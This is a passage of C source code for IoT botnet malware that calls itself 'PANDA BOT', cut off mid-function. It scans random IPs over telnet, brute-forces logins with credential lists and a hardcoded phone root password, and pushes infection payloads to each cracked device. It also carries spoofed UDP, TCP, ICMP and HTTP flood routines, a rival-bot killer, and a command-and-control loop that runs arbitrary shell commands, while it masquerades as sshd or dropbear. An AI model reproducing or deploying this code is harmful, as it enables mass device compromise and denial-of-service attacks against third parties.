  1880. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  1881. fds[i].state = 0;
  1882. fds[i].complete = 1;
  1883. continue; }
  1884. fds[i].state = 4;
  1885. }
  1886. break;
  1887. case 4: {
  1888. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  1889. if(contains_fail(fds[i].sockbuf)) {
  1890. fds[i].state = 0;
  1891. } else {
  1892. fds[i].state = 5; }
  1893. continue; }
  1894. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1895. fds[i].state = 0;
  1896. fds[i].complete = 1;
  1897. }
  1898. }
  1899. break;
  1900. case 5: {
  1901. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  1902. fds[i].state = 0;
  1903. fds[i].complete = 1;
  1904. continue; }
  1905. fds[i].state = 6; }
  1906. break;
  1907. case 6: {
  1908. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances2)) {
  1909. fds[i].totalTimeout = time(NULL);
  1910. if (contains_fail(fds[i].sockbuf)) {
  1911. fds[i].state = 0;
  1912. } else {
  1913. HackerPrint(D1ckSucka, "\x1b[31mPhone Cracked \x1b[32m-> \x1b[37m%s | \x1b[31mUsername \x1b[32m-> \x1b[37madmin | \x1b[31mPassword \x1b[32m-> \x1b[37madmin\x1b[0m", get_telstate_host(&fds[i]));
  1914. fds[i].state = 7;
  1915. } continue; }
  1916. if (fds[i].totalTimeout + 7 < time(NULL)) {
  1917. fds[i].state = 0;
  1918. fds[i].complete = 1;
  1919. }
  1920. }
  1921. break;
  1922. case 7: {
  1923. if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {
  1924. fds[i].state = 0;
  1925. fds[i].complete = 1;
  1926. continue; }
  1927. fds[i].state = 8;
  1928. }
  1929. break;
  1930. case 8: {
  1931. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  1932. if(contains_fail(fds[i].sockbuf)) {
  1933. fds[i].state = 0;
  1934. } else {
  1935. fds[i].state = 9; }
  1936. continue; }
  1937. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1938. fds[i].state = 0;
  1939. fds[i].complete = 1;
  1940. }
  1941. }
  1942. break;
  1943. case 9: {
  1944. if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {
  1945. fds[i].state = 0;
  1946. fds[i].complete = 1;
  1947. continue; }
  1948. fds[i].state = 10;
  1949. }
  1950. break;
  1951. case 10: {
  1952. fds[i].totalTimeout = time(NULL);
  1953. if(send(fds[i].fd, phonepayload, strlen(phonepayload), MSG_NOSIGNAL) < 0) {
  1954. sclose(fds[i].fd);
  1955. fds[i].state = 0;
  1956. fds[i].complete = 1;
  1957. continue; }
  1958. fds[i].complete = 3;
  1959. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1960. if(fds[i].complete !=3){
  1961. }
  1962. fds[i].state = 0;
  1963. fds[i].complete = 1;
  1964. }
  1965. break;
  1966. }
  1967. }
  1968. }
  1969. }
  1970. }
  1971. void HackaShit(){
  1972. char buf[128];
  1973.      int max = 256, i, res, valopt;
  1974.     fd_set fdset;
  1975.     struct timeval tv;
  1976.     socklen_t lon;
  1977.     srand(time(NULL) ^ rand_cmwc());
  1978.     struct sockaddr_in dest_addr;
  1979.     dest_addr.sin_family = AF_INET;
  1980.     dest_addr.sin_port = htons(23);
  1981.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1982.     struct telstate_t fds[max];
  1983. memset(fds, 0, max * (sizeof(int) + 1));
  1984. for(i = 0; i < max; i++) {
  1985. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1986. fds[i].complete = 1;
  1987. fds[i].sockbuf = malloc(256 + 1); }
  1988. while(1) {
  1989. for(i = 0; i < max; i++) {
  1990. if(fds[i].totalTimeout == 0) {
  1991. fds[i].totalTimeout = time(NULL); }
  1992. switch(fds[i].state) {
  1993. case 0: {
  1994. if(fds[i].complete) {
  1995. char *tmp = fds[i].sockbuf;
  1996. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1997. fds[i].sockbuf = tmp;
  1998. fds[i].ip = findARandomIP(); }
  1999. else  {
  2000. fds[i].passwordInd++;
  2001. fds[i].usernameInd++;
  2002. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  2003. fds[i].complete = 1;
  2004. continue; }
  2005. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  2006. fds[i].complete = 1;
  2007. continue;
  2008. }
  2009. }
  2010. dest_addr.sin_family = AF_INET;
  2011. dest_addr.sin_port = htons(23);
  2012. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2013. dest_addr.sin_addr.s_addr = fds[i].ip;
  2014. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2015. if(fds[i].fd == -1) continue;
  2016. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2017. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  2018. sclose(fds[i].fd);
  2019. fds[i].complete = 1; }
  2020. else {
  2021. fds[i].state = 1;
  2022. fds[i].totalTimeout = 0;
  2023. }
  2024. }
  2025. break;
  2026. case 1: {
  2027. FD_ZERO(&fdset);
  2028. FD_SET(fds[i].fd, &fdset);
  2029. tv.tv_sec = 0;
  2030. tv.tv_usec = 10000;
  2031. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  2032. if(res == 1) {
  2033. lon = sizeof(int);
  2034. valopt = 0;
  2035. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2036. if(valopt) {
  2037. sclose(fds[i].fd);
  2038. fds[i].state = 0;
  2039. fds[i].complete = 1;
  2040. } else {
  2041. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2042. fds[i].totalTimeout = 0;
  2043. fds[i].bufUsed = 0;
  2044. memset(fds[i].sockbuf, 0, 256);
  2045. fds[i].state = 2;
  2046. } continue; }
  2047. else if(res == -1) {
  2048. sclose(fds[i].fd);
  2049. fds[i].state = 0;
  2050. fds[i].complete = 1;
  2051. continue; }
  2052. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2053. sclose(fds[i].fd);
  2054. fds[i].state = 0;
  2055. fds[i].complete = 1;
  2056. }
  2057. }
  2058. break;
  2059. case 2: {
  2060. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances)) {
  2061. if(contains_fail(fds[i].sockbuf)) {
  2062. fds[i].state = 0;
  2063. } else {
  2064. fds[i].state = 3; }
  2065. continue; }
  2066. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2067. fds[i].state = 0;
  2068. fds[i].complete = 1;
  2069. }
  2070. }
  2071. break;
  2072. case 3: {
  2073. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  2074. fds[i].state = 0;
  2075. fds[i].complete = 1;
  2076. continue; }
  2077. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2078. fds[i].state = 0;
  2079. fds[i].complete = 1;
  2080. continue; }
  2081. fds[i].state = 4; }
  2082. break;
  2083. case 4: {
  2084. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances))
  2085. {
  2086. if(contains_fail(fds[i].sockbuf)) {
  2087. fds[i].state = 0;
  2088. } else {
  2089. fds[i].state = 5; }
  2090. continue; }
  2091. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2092. fds[i].state = 0;
  2093. fds[i].complete = 1;
  2094. }
  2095. }
  2096. break;
  2097. case 5: {
  2098. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  2099. fds[i].state = 0;
  2100. fds[i].complete = 1;
  2101. continue; }
  2102. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  2103. fds[i].state = 0;
  2104. fds[i].complete = 1;
  2105. continue; }
  2106. fds[i].state = 6;
  2107. }
  2108. break;
  2109. case 6: {
  2110. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 256, advances2)) {
  2111. fds[i].totalTimeout = time(NULL);
  2112. if (contains_fail(fds[i].sockbuf)) {
  2113. fds[i].state = 0;
  2114. } else {
  2115. HackerPrint(D1ckSucka, "\x1b[36mDevice Cracked \x1b[32m-> \x1b[37m%s | \x1b[36mUsername \x1b[32m-> \x1b[37m%s | \x1b[36mPassword \x1b[32m-> \x1b[37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2116. fds[i].state = 7;
  2117. } continue; }
  2118. if (fds[i].totalTimeout + 7 < time(NULL)) {
  2119. fds[i].state = 0;
  2120. fds[i].complete = 1;
  2121. }
  2122. }
  2123. break;
  2124. case 7: {
  2125. if(send(fds[i].fd, TelnetPayload, strlen(TelnetPayload), MSG_NOSIGNAL) < 0) {
  2126. fds[i].state = 0;
  2127. fds[i].complete = 1;
  2128. continue; }
  2129. fds[i].state = 8;
  2130. }
  2131. break;
  2132. case 8: {
  2133. fds[i].totalTimeout = time(NULL);
  2134. if(send(fds[i].fd, TelnetPayload2, strlen(TelnetPayload2), MSG_NOSIGNAL) < 0) {
  2135. sclose(fds[i].fd);
  2136. fds[i].state = 0;
  2137. fds[i].complete = 1;
  2138. continue; }
  2139. fds[i].complete = 3;
  2140. if(fds[i].totalTimeout + 60 < time(NULL)) {
  2141. if(fds[i].complete !=3){
  2142. }
  2143. fds[i].state = 0;
  2144. fds[i].complete = 1;
  2145. }
  2146. break;
  2147. }
  2148. }
  2149. }
  2150. }
  2151. }
  2152. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval) {
  2153. struct sockaddr_in dest_addr;
  2154. dest_addr.sin_family = AF_INET;
  2155. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2156. else dest_addr.sin_port = htons(port);
  2157. if(getHost(target, &dest_addr.sin_addr)) return;
  2158. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2159. register unsigned int pollRegister;
  2160. pollRegister = pollinterval;
  2161. if(spoofit == 32) {
  2162. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2163. if(!sockfd) {
  2164. return; }
  2165. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2166. if(buf == NULL) return;
  2167. memset(buf, 0, packetsize + 1);
  2168. makeRandomStr(buf, packetsize);
  2169. int end = time(NULL) + timeEnd;
  2170. register unsigned int i = 0;
  2171. while(1) {
  2172. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2173. if(i == pollRegister) {
  2174. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2175. if(time(NULL) > end) break;
  2176. i = 0;
  2177. continue; }
  2178. i++; }
  2179. } else {
  2180. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2181. if(!sockfd)
  2182. {
  2183. return; }
  2184. int tmp = 1;
  2185. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2186. { return; }
  2187. int counter = 50;
  2188. while(counter--) {
  2189. srand(time(NULL) ^ rand_cmwc());
  2190. init_rand(rand()); }
  2191. in_addr_t netmask;
  2192. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2193. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2194. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2195. struct iphdr *iph = (struct iphdr *)packet;
  2196. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2197. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2198. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2199. udph->source = rand_cmwc();
  2200. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2201. udph->check = 0;
  2202. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2203. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2204. int end = time(NULL) + timeEnd;
  2205. register unsigned int i = 0;
  2206. while(1) {
  2207. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2208. udph->source = rand_cmwc();
  2209. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2210. iph->id = rand_cmwc();
  2211. iph->saddr = htonl( HackerScan(netmask) );
  2212. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2213. if(i == pollRegister) {
  2214. if(time(NULL) > end) break;
  2215. i = 0;
  2216. continue; }
  2217. i++;
  2218. }
  2219. }
  2220. }
  2221. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {
  2222. register unsigned int pollRegister;
  2223. pollRegister = pollinterval;
  2224. struct sockaddr_in dest_addr;
  2225. dest_addr.sin_family = AF_INET;
  2226. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2227. else dest_addr.sin_port = htons(port);
  2228. if(getHost(target, &dest_addr.sin_addr)) return;
  2229. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2230. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2231. if(!sockfd) {
  2232. return; }
  2233. int tmp = 1;
  2234. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  2235. return; }
  2236. in_addr_t netmask;
  2237. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2238. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2239. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2240. struct iphdr *iph = (struct iphdr *)packet;
  2241. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2242. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2243. tcph->source = rand_cmwc();
  2244. tcph->seq = rand_cmwc();
  2245. tcph->ack_seq = 0;
  2246. tcph->doff = 5;
  2247. if(!strcmp(flags, "all")) {
  2248. tcph->syn = 1;
  2249. tcph->rst = 1;
  2250. tcph->fin = 1;
  2251. tcph->ack = 1;
  2252. tcph->psh = 1;
  2253. tcph->urg_ptr = 1;
  2254. } else {
  2255. unsigned char *pch = strtok(flags, ",");
  2256. while(pch) {
  2257. if(!strcmp(pch, "syn")) { tcph->syn = 1;
  2258. } else if(!strcmp(pch, "rst")) { tcph->rst = 1;
  2259. } else if(!strcmp(pch, "fin")) { tcph->fin = 1;
  2260. } else if(!strcmp(pch, "ack")) { tcph->ack = 1;
  2261. } else if(!strcmp(pch, "psh")) { tcph->psh = 1;
  2262. } else if(!strcmp(pch, "urg")) { tcph->urg_ptr = 1;//spooky shit man
  2263. } else {
  2264. }
  2265. pch = strtok(NULL, ",");
  2266. }
  2267. }
  2268. tcph->window = rand_cmwc();
  2269. tcph->check = 0;
  2270. tcph->urg_ptr = 0;
  2271. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2272. tcph->check = tcpcsum(iph, tcph);
  2273. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2274. int end = time(NULL) + timeEnd;
  2275. register unsigned int i = 0;
  2276. while(1) {
  2277. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2278. iph->saddr = htonl( HackerScan(netmask) );
  2279. iph->id = rand_cmwc();
  2280. tcph->seq = rand_cmwc();
  2281. tcph->source = rand_cmwc();
  2282. tcph->check = 0;
  2283. tcph->check = tcpcsum(iph, tcph);
  2284. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2285. if(i == pollRegister) {
  2286. if(time(NULL) > end) break;
  2287. i = 0;
  2288. continue; }
  2289. i++;
  2290. }
  2291. }      
  2292. void processCmd(int argc, unsigned char *argv[])
  2293. {
  2294. int x;
  2295. if(!strcmp(argv[0], "PING")) {
  2296. HackerPrint(D1ckSucka, "PONG!");
  2297. return;
  2298. }
  2299. if(!strcmp(argv[0], "GETLOCALIP")) {
  2300. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2301. return;
  2302. }
  2303. if(!strcmp(argv[0], "BOTKILL")) {
  2304. if(!listFork()) {
  2305. HackerPrint(D1ckSucka, "Killing Bots");
  2306. botkiller();
  2307. _exit(0);
  2308. }
  2309. }
  2310.     if(!strcmp(argv[0], "PHONE")) {
  2311. if(argc != 2) {
  2312. HackerPrint(D1ckSucka, "PHONE ON | OFF");
  2313. return; }
  2314. if(!strcmp(argv[1], "OFF")) {
  2315. if(Phonepid == 0) return;
  2316. kill(Phonepid, 9);
  2317. HackerPrint(D1ckSucka, "PHONE SCANNER OFF:%s", inet_ntoa(ourIP));
  2318. Phonepid = 0; }
  2319. if(!strcmp(argv[1], "ON")) {
  2320. if(Phonepid != 0) return;
  2321. uint32_t parent;
  2322. parent = fork();
  2323. if (parent > 0) { Phonepid = parent; return;}
  2324. else if(parent == -1) return;
  2325. PhoneScanner();
  2326. _exit(0);
  2327. }
  2328. }
  2329. if(!strcmp(argv[0], "SCANNER")) {
  2330. if(argc != 2) {
  2331. HackerPrint(D1ckSucka, "SCANNER ON | OFF");
  2332. return; }
  2333. if(!strcmp(argv[1], "OFF")) {
  2334. if(scanPid == 0) return;
  2335. kill(scanPid, 9);
  2336. HackerPrint(D1ckSucka, " OFF");
  2337. scanPid = 0; }
  2338. if(!strcmp(argv[1], "ON")) {
  2339. if(scanPid != 0) return;
  2340. uint32_t parent;
  2341. parent = fork();
  2342. if (parent > 0) { scanPid = parent; return;}
  2343. else if(parent == -1) return;
  2344. HackaShit();
  2345. _exit(0);
  2346. }
  2347. }
  2348.         if(!strcmp(argv[0], "ICMP"))
  2349.         {
  2350.             if(argc < 2)
  2351.             {
  2352.                 return;
  2353.             }else{
  2354.                 unsigned char *ipzz = argv[1];
  2355.                 int PacketSize = atoi(argv[2]);
  2356.                 int Intervalz = atoi(argv[3]);
  2357.                 int TimeNeg = atoi(argv[4]);
  2358.                 if(!listFork())
  2359.                 {
  2360.                     ICMPFlood(ipzz, PacketSize, Intervalz, TimeNeg);
  2361.                     _exit(0);
  2362.                 }
  2363.                 return;
  2364.             }
  2365.         }
  2366. if(!strcmp(argv[0], "UDP")) {
  2367. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  2368. return; }
  2369. unsigned char *ip = argv[1];
  2370. int port = atoi(argv[2]);
  2371. int time = atoi(argv[3]);
  2372. int spoofed = atoi(argv[4]);
  2373. int packetsize = atoi(argv[5]);
  2374. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2375. if(strstr(ip, ",") != NULL) {
  2376. unsigned char *hi = strtok(ip, ",");
  2377. while(hi != NULL) {
  2378. if(!listFork()) {
  2379. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2380. _exit(0); }
  2381. hi = strtok(NULL, ","); }
  2382. } else {
  2383. if (listFork()) { return; }
  2384. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2385. _exit(0);
  2386. }
  2387. }
  2388. if (!strcmp((const char *)argv[0], "HTTP")) {
  2389. if (argc < 6) {
  2390. return; }
  2391. if (strstr((const char *)argv[1], ",") != NULL) {
  2392. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2393. while (hi != NULL) {
  2394. if (!listFork()) {
  2395. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2396. _exit(0); }
  2397. hi = (unsigned char *)strtok(NULL, ","); }
  2398. } else {
  2399. if (listFork()) {
  2400. return; }
  2401. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2402. _exit(0);
  2403. }
  2404. }
  2405. if(!strcmp(argv[0], "STD")) {
  2406. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2407. { return; }
  2408. unsigned char *ip = argv[1];
  2409. int port = atoi(argv[2]);
  2410. int time = atoi(argv[3]);
  2411. if(strstr(ip, ",") != NULL) {
  2412. unsigned char *hi = strtok(ip, ",");
  2413. while(hi != NULL) {
  2414. if(!listFork()) {
  2415. sendSTD(hi, port, time);
  2416. _exit(0); }
  2417. hi = strtok(NULL, ","); }
  2418. } else {
  2419. if (listFork()) { return; }
  2420. sendSTD(ip, port, time);
  2421. _exit(0);
  2422. }
  2423. }
  2424. if(!strcmp(argv[0], "UKN")) {
  2425. if(argc < 3 || atoi(argv[2]) < 1) {
  2426. return; }
  2427. unsigned char *ip = argv[1];
  2428. int time = atoi(argv[2]);
  2429. if(strstr(ip, ",") != NULL) {
  2430. unsigned char *hi = strtok(ip, ",");
  2431. while(hi != NULL) {
  2432. if(!listFork()) {
  2433. sendUKNOWN(ip, time);
  2434. _exit(0); }
  2435. hi = strtok(NULL, ","); }
  2436. } else {
  2437. if (listFork()) { return; }
  2438. sendUKNOWN(ip, time);
  2439. _exit(0);
  2440. }
  2441. }
  2442. if(!strcmp(argv[0], "RANGE")) {
  2443. if(argc < 2 || atoi(argv[1]) == -1){
  2444. HackerPrint(D1ckSucka, "RANGE <option 0-idk>");
  2445. }else{
  2446. HackerPrint(D1ckSucka, "Range %d->%d", rangechoice, atoi(argv[1]));
  2447. rangechoice = atoi(argv[1]);
  2448. }
  2449. return;
  2450. }
  2451. if(!strcmp(argv[0], "TCP")) {
  2452. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  2453. return; }
  2454. unsigned char *ip = argv[1];
  2455. int port = atoi(argv[2]);
  2456. int time = atoi(argv[3]);
  2457. int spoofed = atoi(argv[4]);
  2458. unsigned char *flags = argv[5];
  2459. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2460. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2461. if(strstr(ip, ",") != NULL) {
  2462. unsigned char *hi = strtok(ip, ",");
  2463. while(hi != NULL) {
  2464. if(!listFork()) {
  2465. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2466. _exit(0); }
  2467. hi = strtok(NULL, ","); }
  2468. } else {
  2469. if (listFork()) { return; }
  2470. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2471. _exit(0);
  2472. }
  2473. }
  2474. if(!strcmp(argv[0], "STOP")) {
  2475. int killed = 0;
  2476. unsigned long i;
  2477. for (i = 0; i < numpids; i++) {
  2478. if (pids[i] != 0 && pids[i] != getpid()) {
  2479. kill(pids[i], 9);
  2480. killed++;
  2481. }
  2482. }
  2483. }
  2484. if(!strcmp(argv[0], "HOODASSSHIT18392839313129312392881929332R23937293173")) {
  2485. exit(0);
  2486. }
  2487. }
  2488. int initConnection() {
  2489. unsigned char server[4096];
  2490. memset(server, 0, 4096);
  2491. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2492. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2493. else D1ckSuckaz++;
  2494. strcpy(server, D3cOdeMePlS[D1ckSuckaz]);
  2495. int port = Server_Botport;
  2496. if(strchr(server, ':') != NULL) {
  2497. port = atoi(strchr(server, ':') + 1);
  2498. *((unsigned char *)(strchr(server, ':'))) = 0x0; }
  2499. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2500. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2501. return 0;
  2502. }
  2503. int getOurIP() {
  2504. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2505. if(sock == -1) return 0;
  2506. struct sockaddr_in serv;
  2507. memset(&serv, 0, sizeof(serv));
  2508. serv.sin_family = AF_INET;
  2509. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2510. serv.sin_port = htons(53);
  2511. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2512. if(err == -1) return 0;
  2513. struct sockaddr_in name;
  2514. socklen_t namelen = sizeof(name);
  2515. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2516. if(err == -1) return 0;
  2517. ourIP.s_addr = name.sin_addr.s_addr;
  2518. int cmdline = open("/proc/net/route", O_RDONLY);
  2519. char linebuf[4096];
  2520. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2521. {
  2522. if(strstr(linebuf, "\t00000000\t") != NULL)
  2523. {
  2524. unsigned char *pos = linebuf;
  2525. while(*pos != '\t') pos++;
  2526. *pos = 0;
  2527. break;
  2528. }
  2529. memset(linebuf, 0, 4096);
  2530. }
  2531. close(cmdline);
  2532. if(*linebuf)
  2533. {
  2534. int i;
  2535. struct ifreq ifr;
  2536. strcpy(ifr.ifr_name, linebuf);
  2537. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2538. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2539. }
  2540. close(sock);
  2541. }
  2542. char *getBuild()
  2543. {
  2544. if(access("/usr/bin/python", F_OK) != -1){
  2545. return "SERVER";
  2546. } else {
  2547. return "ROUTER";
  2548. }
  2549. }
  2550. int main(int argc, unsigned char *argv[])
  2551. {
  2552. char *mynameis = "";
  2553. if(access("/usr/bin/python", F_OK) != -1){
  2554. mynameis = "sshd";
  2555. } else {
  2556. mynameis = "/usr/sbin/dropbear";
  2557. }
  2558. if(geteuid() == 0){
  2559. userID = 0;
  2560. }
  2561. char *Buildz = getBuild();
  2562. if(Buildz == "SERVER")
  2563. {
  2564. //If python is installed
  2565. } else {
  2566. //If python is not installed
  2567. }
  2568. if(SERVER_LIST_SIZE <= 0) return 0;
  2569. printf("%s\n", getBuild());
  2570. strncpy(argv[0],"",strlen(argv[0]));
  2571. sprintf(argv[0], mynameis);
  2572. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2573. srand(time(NULL) ^ getpid());
  2574. init_rand(time(NULL) ^ getpid());
  2575. pid_t pid1;
  2576. pid_t pid2;
  2577. int status;
  2578. getOurIP();
  2579. if (pid1 = fork()) {
  2580. waitpid(pid1, &status, 0);
  2581. exit(0);
  2582. } else if (!pid1) {
  2583. if (pid2 = fork()) {
  2584. exit(0);
  2585. } else if (!pid2) {
  2586. } else {
  2587. //N
  2588. }
  2589. } else {
  2590. //N
  2591. }
  2592. setsid();
  2593. chdir("/");
  2594. signal(SIGPIPE, SIG_IGN);
  2595. while(1)
  2596. {
  2597. if(initConnection()) { sleep(5); continue; }
  2598. HackerPrint(D1ckSucka, "\x1b[35mPANDA BOT CONNECTED \x1b[36m-> \x1b[37m%s | \x1b[35mTYPE \x1b[36m-> \x1b[37m%s", inet_ntoa(ourIP), getBuild());
  2599. char commBuf[4096];
  2600. int got = 0;
  2601. int i = 0;
  2602. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2603. {
  2604. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2605. unsigned int *newpids, on;
  2606. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2607. pids[on - 1] = 0;
  2608. numpids--;
  2609. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2610. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2611. free(pids);
  2612. pids = newpids;
  2613. }
  2614. commBuf[got] = 0x00;
  2615. trim(commBuf);
  2616. if(strstr(commBuf, "PING") == commBuf)
  2617. {
  2618. HackerPrint(D1ckSucka, "PONG");
  2619. continue;
  2620. }
  2621. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2622. unsigned char *message = commBuf;
  2623. if(*message == '!')
  2624. {
  2625. unsigned char *nickMask = message + 1;
  2626. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2627. if(*nickMask == 0x00) continue;
  2628. *(nickMask) = 0x00;
  2629. nickMask = message + 1;
  2630. message = message + strlen(nickMask) + 2;
  2631. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2632. unsigned char *command = message;
  2633. while(*message != ' ' && *message != 0x00) message++;
  2634. *message = 0x00;
  2635. message++;
  2636. unsigned char *tmpcommand = command;
  2637. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2638. if(strcmp(command, "MOVE") == 0)
  2639. {
  2640. unsigned char buf[1024];
  2641. int command;
  2642. if (listFork()) continue;
  2643. memset(buf, 0, 1024);
  2644. szprintf(buf, "%s 2>&1", message);
  2645. command = fdpopen(buf, "r");
  2646. while(fdgets(buf, 1024, command) != NULL)
  2647. {
  2648. trim(buf);
  2649. memset(buf, 0, 1024);
  2650. sleep(1);
  2651. }
  2652. fdpclose(command);
  2653. exit(0);
  2654. }
  2655. unsigned char *params[10];
  2656. int paramsCount = 1;
  2657. unsigned char *pch = strtok(message, " ");
  2658. params[0] = command;
  2659. while(pch)
